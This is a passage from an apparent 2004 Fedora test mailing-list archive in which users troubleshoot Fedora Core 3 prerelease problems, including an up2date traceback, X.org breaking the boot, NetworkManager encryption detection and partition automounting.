and not sendmail. > Is this system a hand-made copy of another system? sendmail.exim should be a link, too. -- Thomas Woerner Software Engineer Phone: +49-711-96437-310 Red Hat GmbH Fax : +49-711-96437-111 Hauptstaetterstr. 58 Email: Thomas Woerner D-70178 Stuttgart Web : http://www.redhat.de/ From rpaiz at simpaticus.com Tue Nov 2 13:48:35 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Tue, 02 Nov 2004 07:48:35 -0600 Subject: up2date --help In-Reply-To: <63a30f4d041102042790f5bc4@mail.gmail.com> References: <63a30f4d041102042790f5bc4@mail.gmail.com> Message-ID: <1099403315.3557.147.camel@localhost.localdomain> On Tue, 2004-11-02 at 13:27 +0100, Folke Lemaitre wrote: > up2date --help is STILL BROKEN > Submitted a bug report, mentioned it on this list, but nobody seems to care. > Or am I the only person having this problem? > Never tried "up2date --help" before... But yes, on my system it is broken and gives a traceback. Cheers, -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From alan at redhat.com Tue Nov 2 13:57:21 2004 From: alan at redhat.com (Alan Cox) Date: Tue, 2 Nov 2004 08:57:21 -0500 Subject: up2date --help In-Reply-To: <1099403315.3557.147.camel@localhost.localdomain> References: <63a30f4d041102042790f5bc4@mail.gmail.com> <1099403315.3557.147.camel@localhost.localdomain> Message-ID: <20041102135721.GB14744@devserv.devel.redhat.com> On Tue, Nov 02, 2004 at 07:48:35AM -0600, Rodolfo J. Paiz wrote: > Never tried "up2date --help" before... > But yes, on my system it is broken and gives a traceback. Ditto, hadn't noticed it because I gave up using up2date long ago, and because there are bugs I hit in it I filed in FC1 that are still not fixed From balay at fastmail.fm Tue Nov 2 14:25:32 2004 From: balay at fastmail.fm (Satish Balay) Date: Tue, 2 Nov 2004 08:25:32 -0600 (CST) Subject: Kudos to whomever worked on the synaptics touchpad driver ! In-Reply-To: <1099359379.3557.110.camel@localhost.localdomain> References: <1099245855.4691.5.camel@localhost.localdomain> <1099290666.3557.30.camel@localhost.localdomain> <1099329020.3557.45.camel@localhost.localdomain> <1099353440.3557.104.camel@localhost.localdomain> <1099359379.3557.110.camel@localhost.localdomain> Message-ID: On Mon, 1 Nov 2004, Rodolfo J. Paiz wrote: > On Mon, 2004-11-01 at 18:36 -0600, Satish Balay wrote: > > As you point out - this causes x11 dependency on up2date. I agree this > > is a bug that should be fixed. > > Fantastic... how? Bugzilla? Satish From achoens at frontiernet.net Tue Nov 2 14:42:56 2004 From: achoens at frontiernet.net (achoens at frontiernet.net) Date: Tue, 2 Nov 2004 14:42:56 +0000 Subject: Destroyed x.org Message-ID: <20041102144256.5l0yogkcookkcoo4@webmail.frontiernet.net> Ok, here's a question for all you gurus out there. I have a problem, and I know how to fix it, but I can't get to a point where I can fix it. I got frustrated, and decided to beg for help. I used yum to update a FC3 T2 system to a T3 system. All went well enough I thought. I noticed that I had installed a new kernel, so I decided to reboot to see how it worked. Well, the upgrade has trashed X. I thought, no problem, I'll just disable rhgb, and boot, X will go a little crazy, but I'll go to tty2 and roll back X, and then ask here why the new X messed me up. So, I boot to GRUB and remove rhgb from the kernel arguments. But, rhgb is still used, and everytime it screws up. By the time the system is booted, X is respanwing like crazy and you can't log in even at non-graphical screen. I go to tty2 and type in root and it blinks and it asks me for my login again. No opportunity to enter my password. So, from the grub screen how can I disable rhgb and boot to 3 instead of 5? I've thought about using the rescue cd to edit my grub.conf file, but I don't understand why editing the kernel args at boot doesn't work. I would appreciate any ideas on how I can eliminate X from my boot sequence long enough to roll-back X. BTW: does anyone have any idea why X.org 6.8.1-12 trashed my installation? Thanks andy From lee_connell at hotmail.com Tue Nov 2 14:42:07 2004 From: lee_connell at hotmail.com (Lee Connell) Date: Tue, 02 Nov 2004 09:42:07 -0500 Subject: Totem not playing DVD's Message-ID: On Mon, 2004-11-01 at 16:29, Lee Connell wrote: >I installed Totem via yum, I also installed libdvdcss from rpm.pbone.net >and I still can't play dvd's, it complains that I don't have the >appropriate plugins available, has anyone gotten totem to work? Any ideas >to help me get it working as I'm excited that fedora/redhat finally added a >dvd/media player to the distro. Thanks guys for the response I will give it a go after work. Would be really nice if the required plugins were available for download when FC3 is released. How bout another quick questions: MP3 support, what is needed to be able to play MP3's since this is an identical issue with playing DVD's. Lee From balay at fastmail.fm Tue Nov 2 14:48:10 2004 From: balay at fastmail.fm (Satish Balay) Date: Tue, 2 Nov 2004 08:48:10 -0600 (CST) Subject: Destroyed x.org In-Reply-To: <20041102144256.5l0yogkcookkcoo4@webmail.frontiernet.net> References: <20041102144256.5l0yogkcookkcoo4@webmail.frontiernet.net> Message-ID: On Tue, 2 Nov 2004, achoens at frontiernet.net wrote: > So, I boot to GRUB and remove rhgb from the kernel arguments. But, rhgb > is still used, and everytime it screws up. By the time the system is > booted, X is respanwing like crazy and you can't log in even at > non-graphical screen. I go to tty2 and type in root and it blinks and > it asks me for my login again. No opportunity to enter my password. > > So, from the grub screen how can I disable rhgb and boot to 3 instead of > 5? I've thought about using the rescue cd to edit my grub.conf file, > but I don't understand why editing the kernel args at boot doesn't > work. > > I would appreciate any ideas on how I can eliminate X from my boot > sequence long enough to roll-back X. > > BTW: does anyone have any idea why X.org 6.8.1-12 trashed my > installation? Sounds like removing 'rhgb' worked, but adding '3' didn't. I'd try 'single' instead of '3' I might have seen '3' not working before - but not sure. Perhaps its a bugzilla item. Satish From folke.lemaitre at gmail.com Tue Nov 2 14:54:11 2004 From: folke.lemaitre at gmail.com (Folke Lemaitre) Date: Tue, 2 Nov 2004 15:54:11 +0100 Subject: Destroyed x.org In-Reply-To: <20041102144256.5l0yogkcookkcoo4@webmail.frontiernet.net> References: <20041102144256.5l0yogkcookkcoo4@webmail.frontiernet.net> Message-ID: <63a30f4d04110206541b091a05@mail.gmail.com> remove rhgb from boot parameters and add single This will boot you in single user mode (no X) Here you can update your machine to get latest Xorg which should be quite stable: yum update ,Folke On Tue, 2 Nov 2004 14:42:56 +0000, achoens at frontiernet.net wrote: > Ok, here's a question for all you gurus out there. I have a problem, > and I know how to fix it, but I can't get to a point where I can fix > it. I got frustrated, and decided to beg for help. > > I used yum to update a FC3 T2 system to a T3 system. All went well > enough I thought. I noticed that I had installed a new kernel, so I > decided to reboot to see how it worked. Well, the upgrade has trashed > X. I thought, no problem, I'll just disable rhgb, and boot, X will go > a little crazy, but I'll go to tty2 and roll back X, and then ask here > why the new X messed me up. > > So, I boot to GRUB and remove rhgb from the kernel arguments. But, rhgb > is still used, and everytime it screws up. By the time the system is > booted, X is respanwing like crazy and you can't log in even at > non-graphical screen. I go to tty2 and type in root and it blinks and > it asks me for my login again. No opportunity to enter my password. > > So, from the grub screen how can I disable rhgb and boot to 3 instead of > 5? I've thought about using the rescue cd to edit my grub.conf file, > but I don't understand why editing the kernel args at boot doesn't > work. > > I would appreciate any ideas on how I can eliminate X from my boot > sequence long enough to roll-back X. > > BTW: does anyone have any idea why X.org 6.8.1-12 trashed my > installation? > > Thanks > andy > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > -- Home Location: http://www.mappy.com/PlanPerso/flemaitr/0 From rpaiz at simpaticus.com Tue Nov 2 14:59:08 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Tue, 02 Nov 2004 08:59:08 -0600 Subject: Kudos to whomever worked on the synaptics touchpad driver ! In-Reply-To: References: <1099245855.4691.5.camel@localhost.localdomain> <1099290666.3557.30.camel@localhost.localdomain> <1099329020.3557.45.camel@localhost.localdomain> <1099353440.3557.104.camel@localhost.localdomain> <1099359379.3557.110.camel@localhost.localdomain> Message-ID: <1099407548.3368.16.camel@rodolfo.gt.factorrent.com> On Tue, 2004-11-02 at 08:25 -0600, Satish Balay wrote: > > On Mon, 1 Nov 2004, Rodolfo J. Paiz wrote: > > > On Mon, 2004-11-01 at 18:36 -0600, Satish Balay wrote: > > > As you point out - this causes x11 dependency on up2date. I agree this > > > is a bug that should be fixed. > > > > Fantastic... how? > > Bugzilla? > Will it make me a bad person to say I'm starting to get very disenchanted with Bugzilla? If that's the primary means to track and resolve bugs, then I am all the more impressed with the work individual developers do since it doesn't seem to be all that useful (to be kind). So how do you suggest I file it? Against rhpl which requires synaptics? Against synaptics which requires xorg*? Gotta say I'm not sure how to go about this here. Cheers, -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From markmc at redhat.com Tue Nov 2 15:18:42 2004 From: markmc at redhat.com (Mark McLoughlin) Date: Tue, 02 Nov 2004 15:18:42 +0000 Subject: VNC/GDM In-Reply-To: <20041102112417.GA28602@firstfloor.org> References: <20041102112417.GA28602@firstfloor.org> Message-ID: <1099408722.3730.12.camel@blaa> Hi, On Tue, 2004-11-02 at 11:24, oliver frommel wrote: > Hi, > > is the GDM-builtin VNC working in RC5? No, the latest status in http://www.redhat.com/archives/fedora-desktop-list/2004-August/msg00075.html still stands. > The procedure does not work as described in > http://www.redhat.com/archives/fedora-desktop-list/2004-June/msg00007.html > However the Release Notes for 2.91 test2 say it includes > the VNC stuff. Could you give me a pointer to where it says this? It shouldn't. Thanks, Mark. From douglas.furlong at firebox.com Tue Nov 2 15:21:14 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Tue, 02 Nov 2004 15:21:14 +0000 Subject: Destroyed x.org In-Reply-To: <63a30f4d04110206541b091a05@mail.gmail.com> References: <20041102144256.5l0yogkcookkcoo4@webmail.frontiernet.net> <63a30f4d04110206541b091a05@mail.gmail.com> Message-ID: <1099408874.11027.8.camel@douglas-furlong.firebox.com> On Tue, 2004-11-02 at 15:54 +0100, Folke Lemaitre wrote: > remove rhgb from boot parameters and add single > This will boot you in single user mode (no X) > Here you can update your machine to get latest Xorg which should be > quite stable: > yum update > > ,Folke > Just to clear some thing up... The boot perameter "single" aka "1" brings the machine to "single user level" this does not start any networking services, an a WHOLE bunch of other stuff. This is a bare bones running system, with minimal applications running. If the user was to "update" there system after booting to single, they would have to run service network start (or manually configure ethX). The boot parameter "3" brings the system to "multi user, no X". They are significantly different. -- Douglas Furlong Systems Administrator Firebox.com T: 0870 420 4475 F: 0870 220 2178 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From royamitabha at gmail.com Tue Nov 2 15:47:36 2004 From: royamitabha at gmail.com (Amitabha Roy) Date: Tue, 2 Nov 2004 10:47:36 -0500 Subject: NetworkManager Issues Message-ID: <77e74f3e04110207476002a81c@mail.gmail.com> Latest rawhide networkmanager is now asking for a password for a wireless network which I know is not encrypted! It does this several times and then connects normally (after I get rid of the password window). However, the applet still shows a lock next to the network name which implies that it thinks it is still a WEP enabled network. What gives ? Btw, can someone please tell me how to run NetworkManagerInfo on gnome startup automatically, rather than open up a console and run NetworkManagerInfo ? Amitabha Console Messages on running NetworkManagerInfo Forcing device '/org/freedesktop/NetworkManager/Devices/eth1' and network 'RoamAbout Default Network Name' without passphrase nm_device_wireless_network_exists () looking for network 'RoamAbout Default Network Name'... found! (encrypted) But it isn't encrypted! NetworkManager-gnome-0.3.1-3 NetworkManager-0.3.1-3 From dmalcolm at redhat.com Tue Nov 2 15:51:23 2004 From: dmalcolm at redhat.com (David Malcolm) Date: Tue, 02 Nov 2004 10:51:23 -0500 Subject: 5 second cpu spike in FC3T3 In-Reply-To: <1099268086.3558.12.camel@guyleidadell> References: <1099184393.3693.50.camel@guyleidadell> <200410302035.33258.linxt@comcast.net> <1099194319.3693.78.camel@guyleidadell> <41846432.4040200@speakeasy.net> <1099195701.3693.80.camel@guyleidadell> <1099254808.4746.2.camel@kyrre> <1099252271.3558.1.camel@guyleidadell> <1099261509.3558.10.camel@guyleidadell> <1099268086.3558.12.camel@guyleidadell> Message-ID: <1099410683.26625.10.camel@cassandra.boston.redhat.com> On Sun, 2004-10-31 at 18:14 -0600, W. Guy Thomas wrote: > > > > > > > > > > > > > > > > Interesting. I changed it with "s", to .5 seconds. > > The two things that pop up every 5 seconds are gkrellm itself, and > > something vaguely named gtk2_applet2. > > > > So what is gtk2_applet2? > > If it's an applet couldn't it be a java-something? > > > > Hmm, curiouser and curiouser. > > > > -- > > =Guy > > 16:23:31 up 7:01, 2 users, load average: 1.01, 0.49, 0.88 > > > > let me revise that, sorry, it's gtik2_applet2 That's the Stock Ticker panel applet. Is it running? What kind of settings does it have e.g. width, update frequency, number of stocks, etc? > > -- > =Guy > 18:14:14 up 8:52, 2 users, load average: 0.40, 0.27, 0.26 > From balay at fastmail.fm Tue Nov 2 15:53:55 2004 From: balay at fastmail.fm (Satish Balay) Date: Tue, 2 Nov 2004 09:53:55 -0600 (CST) Subject: Kudos to whomever worked on the synaptics touchpad driver ! In-Reply-To: <1099407548.3368.16.camel@rodolfo.gt.factorrent.com> References: <1099245855.4691.5.camel@localhost.localdomain> <1099290666.3557.30.camel@localhost.localdomain> <1099329020.3557.45.camel@localhost.localdomain> <1099353440.3557.104.camel@localhost.localdomain> <1099359379.3557.110.camel@localhost.localdomain> <1099407548.3368.16.camel@rodolfo.gt.factorrent.com> Message-ID: On Tue, 2 Nov 2004, Rodolfo J. Paiz wrote: > So how do you suggest I file it? Against rhpl which requires synaptics? > Against synaptics which requires xorg*? Gotta say I'm not sure how to go > about this here. I would file it against 'rhpl'. The bug being 'rhpl' requiring 'xorg-x11-libs' (due to synaptics)- causing 'up2date' to require 'xorg-x11-libs' (and perhaps other xorg packages). Satish From gstool at earthlink.net Tue Nov 2 16:15:08 2004 From: gstool at earthlink.net (Gerry Tool) Date: Tue, 02 Nov 2004 10:15:08 -0600 Subject: FC3 RC5 - Networked LPD server printing still not working. In-Reply-To: <1099371201.3557.139.camel@localhost.localdomain> References: <4182DEF4.3060700@earthlink.net> <41839A45.7010703@earthlink.net> <4183DC49.1080401@earthlink.net> <80d7e40904103012141b508bb0@mail.gmail.com> <4183F00C.5040802@earthlink.net> <1099366696.3775.20.camel@tabb1.tabb> <1099371201.3557.139.camel@localhost.localdomain> Message-ID: <4187B28C.6020703@earthlink.net> Rodolfo J. Paiz wrote: >On Mon, 2004-11-01 at 22:38 -0500, Phil Schaffner wrote: > > >>Setting eth0 as a trusted device (comment 33 in BZ 133064) is >>essentially the same as turning off the firewall if that is your only >>interface. Good firewall rules would be preferable, unless you REALLY >>trust your hardware firewall. Which begs the question - what is a good >>firewall tool for FC3? Have been unable to get firestarter to work. >>Compiles, but hangs when executed. >> >> >> > >Shorewall (www.shorewall.net). Text files to hold configuration, so no >cute GUI but you do get to access and modify it via SSH. Secure, >reliable, easy to learn and use, very very powerful. 5-star tool. Well >supported and documented, even. > >Cheers, > > > Thanks to Phil for the comments and to Rodolfo for the link. I have decided to go the safe route and have ordered a copy of "Red Hat Linux Firewalls" by Bill McCarty. I will also try out shorewall. Gerry From bobotaito at yahoo.co.uk Tue Nov 2 16:17:49 2004 From: bobotaito at yahoo.co.uk (Bobo Taito) Date: Tue, 2 Nov 2004 16:17:49 +0000 (GMT) Subject: FC3 rc3 : system hangs up. In-Reply-To: <4187B28C.6020703@earthlink.net> Message-ID: <20041102161749.15028.qmail@web25209.mail.ukl.yahoo.com> Hello, I have installed FC3 rc3 on my machine with the hardwares listed beloew : Motherboard : ASUS A8V Deluxe CPU : AMD Athlon64 3500+ AGP card : ASUS ATI9200SE/TD Monitor : IIyama LCD AS4314UT RAM : 512MB Samsung DDR3200 Single Channel HDD : Seagate Barracuda 7200.7 160Gb The installation run and terminate with no problems. But when I reboot the system to running for the first time, firstly it cannot recognise my monitor as it could with FC2 or FC3 test 3. Then I choose Generic LCD 17' and continue... All steps of first time setup are finished without problem, but then when the system starts loading, it hangs up and I see many lines with all colors on my screen. I thinh that there's a problem with my monitor(which is not recognised) or with my AGP card because I can run FC2 smoothly. So someone could tell me how to solve this problem? Thank you all. ___________________________________________________________ALL-NEW Yahoo! Messenger - all new features - even more fun! http://uk.messenger.yahoo.com From oliver at firstfloor.org Tue Nov 2 16:35:50 2004 From: oliver at firstfloor.org (oliver frommel) Date: Tue, 2 Nov 2004 17:35:50 +0100 Subject: VNC/GDM In-Reply-To: <1099408722.3730.12.camel@blaa> References: <20041102112417.GA28602@firstfloor.org> <1099408722.3730.12.camel@blaa> Message-ID: <20041102163550.GA29416@firstfloor.org> > > > The procedure does not work as described in > > http://www.redhat.com/archives/fedora-desktop-list/2004-June/msg00007.html > > However the Release Notes for 2.91 test2 say it includes > > the VNC stuff. > > Could you give me a pointer to where it says this? It shouldn't. > for instance here: http://download.fedora.redhat.com/pub/fedora/linux/core/test/2.92/i386/os/RELEASE-NOTES-en.html try a google search with "site:fedora.redhat.com release notes vnc" :) anyway, thanks for clarification. best Oliver From balay at fastmail.fm Tue Nov 2 16:36:47 2004 From: balay at fastmail.fm (Satish Balay) Date: Tue, 2 Nov 2004 10:36:47 -0600 (CST) Subject: Destroyed x.org In-Reply-To: <1099408874.11027.8.camel@douglas-furlong.firebox.com> References: <20041102144256.5l0yogkcookkcoo4@webmail.frontiernet.net> <63a30f4d04110206541b091a05@mail.gmail.com> <1099408874.11027.8.camel@douglas-furlong.firebox.com> Message-ID: On Tue, 2 Nov 2004, Douglas Furlong wrote: > The boot parameter "3" brings the system to "multi user, no X". The OP has problem with runlevel-3 - hence 'single' was sugested. I guess to get networking - he could do (after booting into single user mode): init 3 And then get the latest kernel/xorg packages and try again. Satish From dcbw at redhat.com Tue Nov 2 16:52:43 2004 From: dcbw at redhat.com (Dan Williams) Date: Tue, 02 Nov 2004 11:52:43 -0500 Subject: NetworkManager Issues In-Reply-To: <77e74f3e04110207476002a81c@mail.gmail.com> References: <77e74f3e04110207476002a81c@mail.gmail.com> Message-ID: <1099414363.24262.14.camel@dcbw.boston.redhat.com> On Tue, 2004-11-02 at 10:47 -0500, Amitabha Roy wrote: > Forcing device '/org/freedesktop/NetworkManager/Devices/eth1' and > network 'RoamAbout Default Network Name' without passphrase > nm_device_wireless_network_exists () looking for network 'RoamAbout > Default Network Name'... found! (encrypted) NetworkManager first tries to explicitly connect to the requested AP with Shared Key mode, then unencrypted mode. Your access point supports shared key mode evidently, or the driver is dumb. What chipset/driver are you using again on your wireless card? Here's what NetworkManager does: it sets the card to encrypted mode, sets a key on the card, then tries to associate with the AP. If the card's associated-AP MAC address is valid, then the card has a link to the AP as reported by the associated-AP MAC address, and we call that AP encrypted. Can you test this? Bring the card down, then up, and set the encryption key to 'iwconfig eth0 key 11111111111111111111111111 restricted' then 'iwconfig eth0 essid ', then do an 'iwconfig' and paste it here. What is the associated AP's MAC address as reported by the card? The problem is how do you detect that the card has associated/authenticated with the AP? DRIVERS DON'T REPORT THIS STUFF RELIABLY. The drivers, frankly, suck. The cisco driver at least reports FF:FF:FF:FF:FF:FF if it can't associate with the AP due to a bad encryption key or whatnot. AFAIK, Atmel cards report a valid MAC address even if the encryption key is wrong and therefore they couldn't possibly have associated successfully with the AP. I've submitted a kernel driver patch that fixes that, but of course its not in yet. So, either the driver for your card is stupid (which most of them are), or your access point is misconfigured, or theres an edge case I haven't dealt with. In later versions of NetworkManager (from CVS) I've tried to work around that for scanned access points by grabbing the encryption status of the AP from the scan rather than using what I detect in the manner above. This will show up in rawhide once rawhide is tracking FC4, and will show up as an update to FC-3 after that as well. Dan From david.frankstrial at uicl.co.uk Tue Nov 2 16:58:08 2004 From: david.frankstrial at uicl.co.uk (David Franks) Date: Tue, 02 Nov 2004 16:58:08 +0000 Subject: Recognising Partitions Message-ID: <1099414688.3509.7.camel@localhost.localdomain> Hi, This is my first mail so please excuse me if I do something wrong (and let me know so I can do it right next time). I installed FC3T3 on my Sony Laptop and found to my delight that it recognised the other partitions on my hard drive including Fat32 and NTFS partitions. (I run Windows 2000 from one of them). It also mounted the Fat32 ones for me and just identified the NTFS ones giving me a message that they were not supported even for read only. I have used up2date to update both kernel and software over the last week or so (now up to kernel 649). I have just noticed that the automatic recognition and mounting no longer happens - though I can of course mount them manually or automatically so long as I enter the appropriate lines in fstab. Did this automatic facility disappear on purpose or by accident, and is there some way I can get it to start again without having to manually add things to fstab? Regards, David Franks From feliciano.matias at free.fr Tue Nov 2 17:15:07 2004 From: feliciano.matias at free.fr (=?ISO-8859-1?Q?F=E9liciano?= Matias) Date: Tue, 02 Nov 2004 18:15:07 +0100 Subject: Recognising Partitions In-Reply-To: <1099414688.3509.7.camel@localhost.localdomain> References: <1099414688.3509.7.camel@localhost.localdomain> Message-ID: <1099415707.9198.3.camel@one.myworld> Le mardi 02 novembre 2004 ? 16:58 +0000, David Franks a ?crit : > Hi, > > This is my first mail so please excuse me if I do something wrong (and > let me know so I can do it right next time). > > I installed FC3T3 on my Sony Laptop and found to my delight that it > recognised the other partitions on my hard drive including Fat32 and > NTFS partitions. (I run Windows 2000 from one of them). It also mounted > the Fat32 ones for me and just identified the NTFS ones giving me a > message that they were not supported even for read only. http://linux-ntfs.sourceforge.net/rpm/fedora3.html You need to compile the module. There are some potential patent problems with ntfs. > > I have used up2date to update both kernel and software over the last > week or so (now up to kernel 649). > > I have just noticed that the automatic recognition and mounting no > longer happens - though I can of course mount them manually or > automatically so long as I enter the appropriate lines in fstab. > > Did this automatic facility disappear on purpose or by accident, Not by accident. > and is > there some way I can get it to start again without having to manually > add things to fstab? Read "man fstab-sync" :-) > > Regards, > > David Franks > > > From perbj at stanford.edu Tue Nov 2 17:12:08 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Tue, 02 Nov 2004 09:12:08 -0800 Subject: Issue in glibc in FC3T3 ? In-Reply-To: <1099399096.25249.18.camel@topicus6> References: <200411020950.JAA18845@internal.tigress.co.uk> <1099399096.25249.18.camel@topicus6> Message-ID: <1099415528.3702.2.camel@scania> On Tue, 2004-11-02 at 04:38, Klaasjan Brand wrote: > > >prelink speeds up app startup - it does the work once to save startup > > >times repeatedly. > > Then isn't it more convenient to run it when installing packages using > rpm (when I expect some thrashing) and let the user decide if and when > to prelink manually installed packages? Not really, since when you install a new library everything that links to it needs to be prelinked again. Say there's a glibc update; do you really want the computer to thrash for between 10 minutes and half an hour, depending on how fast your hardware is? /Per From michal at harddata.com Tue Nov 2 17:29:17 2004 From: michal at harddata.com (Michal Jaegermann) Date: Tue, 2 Nov 2004 10:29:17 -0700 Subject: Recognising Partitions In-Reply-To: <1099414688.3509.7.camel@localhost.localdomain>; from david.frankstrial@uicl.co.uk on Tue, Nov 02, 2004 at 04:58:08PM +0000 References: <1099414688.3509.7.camel@localhost.localdomain> Message-ID: <20041102102917.A9761@mail.harddata.com> On Tue, Nov 02, 2004 at 04:58:08PM +0000, David Franks wrote: > ... and just identified the NTFS ones giving me a > message that they were not supported even for read only. None of Red Hat distros ever supported NTFS for reasons which were repeated on this list over and over again. See archives and also http://linux-ntfs.sourceforge.net/ > ... so long as I enter the appropriate lines in fstab. > > Did this automatic facility disappear on purpose or by accident, and is > there some way I can get it to start again without having to manually > add things to fstab? Mounting automatically everything "in blind" which happens to lay around can screw you very badly in more ways than one (security, things which are really parts of RAID volumes, file systems which really belong to other installations and which selinux can make unmountable there by adding attributes - ugh!, ... ). This is a bit more selective nowadays. If you have some file system you want always mounted at a particular mount point then adding it to /etc/fstab sounds like exactly the correct thing to do. Michal From mcwimpy at gmx.at Tue Nov 2 17:33:32 2004 From: mcwimpy at gmx.at (Markus Nicolussi) Date: Tue, 2 Nov 2004 18:33:32 +0100 (MET) Subject: FC3 PPC development tree / installing FC3 on ibook2001 + B&W PowerMacG3 Message-ID: <587.1099416812@www72.gmx.net> Hello! i sucked the ppc-devel-tree to my hd, set u a NFS server for the downloaded files and burned boot.iso (both, from the dirs "mac" and "pseries"). The "mac" boot cd booted but it found no network device, and i don't know how to set up the module-parameters which it's maybe requesting... The "pseries" boot cd din't do anything. What does the "p" in pseries mean? Performa or PowerMac? all i know i took from the HOWTO at http://www.bytebot.net/geekdocs/ibook/fedorappc.html I couldn't by all efforts find more about this topic in the net... in this HOWTO it says that one schould use the "sungem" driver for the internal network device, but this doesn't help (maybe this tip applies only for ibookG4s?) Does anybody have experience with this topic and could give me a hint? Thanks in advance caio, nico. -- Geschenkt: 3 Monate GMX ProMail + 3 Top-Spielfilme auf DVD ++ Jetzt kostenlos testen http://www.gmx.net/de/go/mail ++ From walters at redhat.com Tue Nov 2 17:43:32 2004 From: walters at redhat.com (Colin Walters) Date: Tue, 02 Nov 2004 12:43:32 -0500 Subject: Recognising Partitions In-Reply-To: <20041102102917.A9761@mail.harddata.com> References: <1099414688.3509.7.camel@localhost.localdomain> <20041102102917.A9761@mail.harddata.com> Message-ID: <1099417412.20601.10.camel@decepticon.boston.redhat.com> On Tue, 2004-11-02 at 10:29 -0700, Michal Jaegermann wrote: > which selinux can make > unmountable there by adding attributes - ugh!, This is not SELinux's fault. If you created ACLs there things also blow up. I'm pretty sure if you even create small (fast) symlinks, old ext3 versions get confused. It's clearly an ext3 bug wrt backwards compatibility. From luya at jpopmail.com Tue Nov 2 17:49:18 2004 From: luya at jpopmail.com (luya at jpopmail.com) Date: Tue, 02 Nov 2004 09:49:18 -0800 Subject: Yum update error message Message-ID: <20041102174918.8471F23EE56@ws5-4.us4.outblaze.com> I suggest to find the mirror repositoru close to your location. You can find them at the download--> mirror link of official Fedora website. Luya ----- Original Message ----- From: Elaine Normandy To: For testers of Fedora Core development releases Subject: Yum update error message Date: Mon, 01 Nov 2004 12:48:18 -0700 > > > I am running a clean install of Fedora Core 3 RC5, and would like > assistance on getting yum update to work. My current error message is > > Setting up Update Process > Setting up Repo: base > Cannot find a valid baseurl for repo: base > > (FC3RC5 is very slick, by the way. I am impressed.) > > -- > Elaine Normandy > Weblog: http://www.stardel.com/fiveacres/ > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > -- _______________________________________________ Get your free email from http://mymail.jp.popstarmail.org Powered by Outblaze From michal at harddata.com Tue Nov 2 17:55:10 2004 From: michal at harddata.com (Michal Jaegermann) Date: Tue, 2 Nov 2004 10:55:10 -0700 Subject: Recognising Partitions In-Reply-To: <1099417412.20601.10.camel@decepticon.boston.redhat.com>; from walters@redhat.com on Tue, Nov 02, 2004 at 12:43:32PM -0500 References: <1099414688.3509.7.camel@localhost.localdomain> <20041102102917.A9761@mail.harddata.com> <1099417412.20601.10.camel@decepticon.boston.redhat.com> Message-ID: <20041102105510.A12801@mail.harddata.com> On Tue, Nov 02, 2004 at 12:43:32PM -0500, Colin Walters wrote: > On Tue, 2004-11-02 at 10:29 -0700, Michal Jaegermann wrote: > > which selinux can make > > unmountable there by adding attributes - ugh!, > > This is not SELinux's fault. If you created ACLs there things also blow > up. I am not saying that this SELinux's fault. But if a filesystem got mounted in a "stealth mode" that something may get "helpful" and will add for you bits-and-pieces which you never wanted there in the first place and which will mess up that filesystem for original purposes. That is one of reason why an indiscriminate mounting of everything which looks like mountable is really bad. Michal From david at fubar.dk Tue Nov 2 18:23:51 2004 From: david at fubar.dk (David Zeuthen) Date: Tue, 02 Nov 2004 13:23:51 -0500 Subject: Recognising Partitions In-Reply-To: <1099414688.3509.7.camel@localhost.localdomain> References: <1099414688.3509.7.camel@localhost.localdomain> Message-ID: <1099419831.5774.19.camel@davidz> On Tue, 2004-11-02 at 16:58 +0000, David Franks wrote: > Hi, > > This is my first mail so please excuse me if I do something wrong (and > let me know so I can do it right next time). > > I installed FC3T3 on my Sony Laptop and found to my delight that it > recognised the other partitions on my hard drive including Fat32 and > NTFS partitions. (I run Windows 2000 from one of them). It also mounted > the Fat32 ones for me and just identified the NTFS ones giving me a > message that they were not supported even for read only. > > I have used up2date to update both kernel and software over the last > week or so (now up to kernel 649). > > I have just noticed that the automatic recognition and mounting no > longer happens - though I can of course mount them manually or > automatically so long as I enter the appropriate lines in fstab. > > Did this automatic facility disappear on purpose or by accident, and is > there some way I can get it to start again without having to manually > add things to fstab? > It did disappear on purpose, however you may remove this section false from your /usr/share/hal/fdi/90systempolicy/storage-policy.fdi but do note that this may be replaced on hal updates. I plan to readd this feature for FC4 when the filesystem probe code in hal is more up to date (right now we may wrongly add entries for block devices stemming from IDE RAID controllers, that's partly why we pulled this feature). HTH, David From pri.rhl3 at iadonisi.to Tue Nov 2 18:25:14 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Tue, 02 Nov 2004 13:25:14 -0500 Subject: Destroyed x.org In-Reply-To: References: <20041102144256.5l0yogkcookkcoo4@webmail.frontiernet.net> <63a30f4d04110206541b091a05@mail.gmail.com> <1099408874.11027.8.camel@douglas-furlong.firebox.com> Message-ID: <1099419914.22956.13.camel@tuxpaq> On Tue, 2004-11-02 at 10:36 -0600, Satish Balay wrote: > > On Tue, 2 Nov 2004, Douglas Furlong wrote: > > > The boot parameter "3" brings the system to "multi user, no X". > > The OP has problem with runlevel-3 - hence 'single' was sugested. I'm suspecting that since there was a problem both with rhgb stilling being run *and* runlevel 3 being ignored that maybe the OP hit escape instead of enter after changing the grub kernel parameters. I'd suggest trying again, but after hitting escape before the three second timeout expires and hitting 'a' to edit the kernel command line (placing the cursor at the end of the command line), delete the rhgb parameter and add '3' and then be sure to hit enter to boot the kernel with the new command line. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From ron.flory at adtran.com Tue Nov 2 19:05:31 2004 From: ron.flory at adtran.com (RON FLORY) Date: Tue, 02 Nov 2004 13:05:31 -0600 Subject: FC3T3rc3: "Release Notes" output error In-Reply-To: <1099415528.3702.2.camel@scania> References: 